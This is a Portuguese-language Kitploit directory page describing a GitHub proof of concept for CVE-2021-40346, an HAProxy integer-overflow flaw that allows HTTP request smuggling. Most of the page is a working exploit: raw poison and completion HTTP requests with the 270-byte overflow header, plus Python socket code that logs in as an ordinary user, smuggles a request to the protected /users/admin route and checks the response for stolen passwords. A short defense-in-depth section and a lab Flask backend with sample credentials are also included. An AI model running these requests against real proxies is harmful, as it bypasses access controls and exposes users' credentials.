Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-40346 — HTTP Request Smuggling | Kitploit
Ferramentas/GitHubGitHub/boianeduard/cve-2021-40346
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP Request Smuggling

Ver Repositório
1há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-40346: HTTP Request Smuggling no HAProxy - Bypass de ACL

Visão Geral

Este projeto demonstra a CVE-2021-40346, uma vulnerabilidade crítica de integer overflow no HAProxy que permite ataques de HTTP Request Smuggling para contornar controles de segurança.

Pontuação CVSSv3: 7,5 (Alta)

Contribuidores:

  1. Boian Eduard
  2. Borsos Matheas-Roland

O que é CVE-2021-40346?

CVE-2021-40346 é uma vulnerabilidade de integer overflow na lógica de parsing de cabeçalhos HTTP do HAProxy. Quando um nome de cabeçalho excede 255 bytes, o valor de comprimento transborda de um campo de 8 bits, fazendo com que o HAProxy interprete incorretamente o cabeçalho durante o encaminhamento de requisições.

Como o Ataque Funciona

Detalhamento Passo a Passo

  1. Atacante envia: Nome do cabeçalho = "Content-Length0" + 255×'a' = 270 bytes

  2. Fase 1 (Parsing Inicial):

    • HAProxy lê todos os 270 bytes do nome do cabeçalho
    • Armazena name_length = 270 % 256 = 14 (overflow de 8 bits)
Baixar ferramenta
  • O bit de overflow define value_length = 1
  • Lê o cabeçalho legítimo Content-Length: 60 e o trata como comprimento do corpo
  • Lê 60 bytes como corpo da requisição (contendo a requisição contrabandeada)
  • Fase 2 (Encaminhamento da Requisição):

    • Encontra o bloco de cabeçalho com overflow
    • Lê apenas os primeiros 14 caracteres: "Content-Length"
    • Lê 1 caractere para o valor (na posição 14): "0"
    • Adiciona content-length: 0 à requisição encaminhada
    • Ignora o cabeçalho real Content-Length: 60 (conforme lógica normal)
  • Processamento do Backend:

    • Recebe content-length: 0 do HAProxy
    • Interpreta a requisição POST sem corpo
    • Trata o "corpo" (requisição GET contrabandeada) como a próxima requisição HTTP
    • Processa a requisição contrabandeada, contornando todas as ACLs do HAProxy

  • Exemplo de Fluxo de Ataque

    Contornando Regras de ACL para Acessar Endpoint Admin

    Considere o HAProxy configurado com regras de ACL que restringem o acesso a rotas de admin:

    root@kitploit:~
    http-request deny if { path_beg /users/admin }
    

    Em nosso PoC, usamos uma sessão de usuário comum (alice) para acessar o endpoint protegido /users/admin que deveria ser acessível apenas a administradores.

    Requisição Maliciosa (Request 1 - Poison):

    root@kitploit:~
    POST / HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
    Content-Length: 78
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Requisição que o HAProxy Encaminha:

    root@kitploit:~
    POST / HTTP/1.1
    host: 127.0.0.1:8080
    content-length: 0
    x-forwarded-for: 192.168.188.1
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Requisição de Conclusão (Request 2):

    root@kitploit:~
    GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Requisição Contrabandeada Completa que o Backend Processa:

    root@kitploit:~
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Resultado:

    1. HAProxy encaminha POST / com content-length: 0 (ACL vê rota segura)
    2. Backend processa POST / (sem corpo) e aguarda próxima requisição
    3. Backend trata a requisição GET /users/admin contrabandeada e incompleta como pendente
    4. Request 2 completa a requisição contrabandeada
    5. Backend processa GET /users/admin com a sessão de alice, contornando a ACL do HAProxy
    6. Resposta contendo segredos de admin é retornada ao atacante

    Prova de Conceito

    Configuração do Ambiente de Teste

    Configuração do HAProxy (haproxy.cfg)

    A instância vulnerável do HAProxy é configurada com regras de ACL para proteger o endpoint admin:

    root@kitploit:~
    ...
        # ACL to detect admin endpoint access
        acl is_admin_endpoint path_beg /users/admin
        
        # ACL to check for admin session cookie
        acl has_admin_session cook(session) -m beg admin_
        
        # Deny access to admin endpoint if user doesn't have admin session
        http-request deny if is_admin_endpoint !has_admin_session
    ...
    

    Pontos-Chave:

    • Proteção ACL: /users/admin é bloqueado a menos que o cookie de sessão comece com admin_
    • HTTP Keep-Alive (Padrão): HAProxy usa modo keep-alive por padrão, reutilizando conexões TCP para o backend – isso é crítico para o ataque pois permite múltiplas requisições na mesma conexão
    • Controle de Acesso Baseado em Sessão: Usuários comuns (sessão começando com user_) são negados

    Servidor Backend (Flask)

    O servidor backend possui três usuários e um endpoint admin:

    root@kitploit:~
    USERS = [
        {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
        {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
        {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
    ]
    
    @app.route('/login', methods=['POST'])
    def login():
        # ... lógica de autenticação ...
        
        # Gera token de sessão com prefixo do papel
        prefix = 'admin_' if user['role'] == 'admin' else 'user_'
        token = prefix + secrets.token_hex(16)
        
        resp.set_cookie('session', token, httponly=True)
        return resp
    
    @app.route('/users/admin', methods=['GET', 'POST'])
    def users_admin():
        # Retorna dados sensíveis incluindo todas as senhas dos usuários
        rows = ''.join([
            f"{u['id']} | {u['username']} | {u['email']} | "
            f"{u['password']} | {u['role']}" 
            for u in USERS
        ])
        
        return f"ADMIN PANELAll users with passwords:{rows}"
    

    Modelo de Segurança:

    • Alice (usuário comum) recebe sessão: user_a1b2c3d4...
    • Admin recebe sessão: admin_a1b2c3d4...
    • HAProxy bloqueia requisições de alice para /users/admin
    • Má Configuração do Backend: O servidor Flask confia cegamente que o HAProxy já aplicou o controle de acesso e não revalida o token de sessão nem verifica se o usuário é realmente admin antes de servir dados sensíveis
    • Vulnerabilidade: O HTTP smuggling contorna a verificação de ACL do HAProxy, e o backend não possui defesa em profundidade

    Por que Isso Funciona:

    1. HAProxy vê a requisição externa POST / (permitida)
    2. HAProxy verifica ACLs em POST / (sem restrição de admin)
    3. HAProxy encaminha content-length: 0 (devido ao bug de overflow)
    4. Backend recebe requisição incompleta GET /users/admin
    5. Segunda requisição a completa, contornando a verificação de ACL do HAProxy
    6. Backend serve cegamente o endpoint admin – nunca verifica se o token de sessão é realmente de admin
    7. Backend processa GET /users/admin diretamente, revelando senhas

    Lição de Defesa em Profundidade: Isso demonstra por que backends nunca devem confiar cegamente no proxy. Mesmo com as ACLs do HAProxy em vigor, o backend deve:

    • Processar e validar o próprio token de sessão
    • Verificar o papel/permissões do usuário antes de servir endpoints sensíveis
    • Implementar sua própria lógica de autorização (ex.: decorador @require_admin)

    Confiar exclusivamente no controle de acesso em nível de proxy cria um ponto único de falha.

    Principais Sequências de Exploração

    O PoC demonstra o contorno das ACLs do HAProxy para acessar /users/admin usando a sessão de um usuário comum através de quatro etapas principais:

    1. Autenticação como Usuário Comum

    root@kitploit:~
    # Login como alice (usuário não-admin)
    body = "username=alice&password=alice123"
    login = f"POST /login HTTP/1.1\r\n" \
            f"Host: {TARGET}:{PORT}\r\n" \
            f"Content-Type: application/x-www-form-urlencoded\r\n" \
            f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
    
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(login)
    time.sleep(0.5)
    
    # Recebe resposta e extrai token de sessão
    resp = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        resp += chunk
    sock.close()
    
    session = resp.decode().split('session=')[1].split(';')[0]
    print(f"✓ Session: {session[:35]}...")
    

    Propósito:

    • Obter um token de sessão legítimo para o usuário comum (alice)
    • Esta sessão normalmente não tem acesso ao endpoint /users/admin
    • Usaremos esta sessão na requisição contrabandeada para contornar as ACLs

    2. Construção da Requisição Contrabandeada (Incompleta)

    root@kitploit:~
    # Cria requisição contrabandeada incompleta visando o endpoint admin
    smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
    

    Detalhes Críticos:

    • Tem como alvo a rota protegida /users/admin
    • Usa a sessão legítima do usuário (alice)
    • Termina com o cabeçalho DUMMY: (sem CRLF) para manter a requisição incompleta
    • Backend aguardará mais dados antes de processar

    3. Construção da Requisição Envenenada (Poison)

    root@kitploit:~
    # Cria cabeçalho de overflow (270 bytes = 14 após overflow de 8 bits)
    overflow_header = "Content-Length0" + ("a" * 255)
    
    # Monta requisição envenenada completa
    poison = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"{overflow_header}:\r\n"                    # Dispara o integer overflow
        f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Comprimento real do corpo
        f"\r\n"
        f"{smuggled_incomplete}"                     # Requisição contrabandeada como "corpo"
    ).encode()
    

    O que Acontece:

    • Content-Length0aaa... (270 bytes) transborda para 14 bytes
    • Fase 2 do HAProxy lê os primeiros 14 caracteres: "Content-Length"
    • Valor na posição 14: "0"
    • HAProxy encaminha: content-length: 0
    • Backend recebe GET contrabandeado como requisição pendente

    4. Envio das Requisições

    root@kitploit:~
    # Envia requisição envenenada
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(poison)
    time.sleep(1)
    resp1 = sock.recv(4096)  # Recebe resposta do POST /
    
    # Envia requisição de conclusão (completa a requisição contrabandeada)
    completion = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"\r\n"
    ).encode()
    
    sock.sendall(completion)
    time.sleep(2)
    
    # Captura a resposta da requisição contrabandeada
    all_data = b""
    sock.settimeout(5)
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            all_data += chunk
    except:
        pass
    sock.close()
    
    # Decodifica e verifica sucesso
    text = all_data.decode('utf-8', errors='ignore')
    
    print(f"\n[RESULTS] {len(all_data)} bytes received")
    print("="*70)
    print(text)
    print("="*70)
    
    if "admin_secret" in text:
        print("\n✅ SUCESSO! ACL DO HAPROXY CONTORNADA!")
        print("🔓 Senhas roubadas visíveis na resposta acima!")
    else:
        print("\n⚠️  Verifique logs do backend - o smuggling está funcionando mas a captura da resposta precisa de ajustes")
    

    Fluxo das Requisições:

    1. Poison enviada → Backend armazena em buffer o GET /users/admin incompleto
    2. Completion enviada → Concatenada à requisição contrabandeada, adicionando CRLF duplo
    3. Backend processa → GET /users/admin completo com a sessão de alice
    4. Resposta capturada → Todos os dados recebidos e decodificados para UTF-8
    5. Detecção de sucesso → Verifica a palavra-chave admin_secret na resposta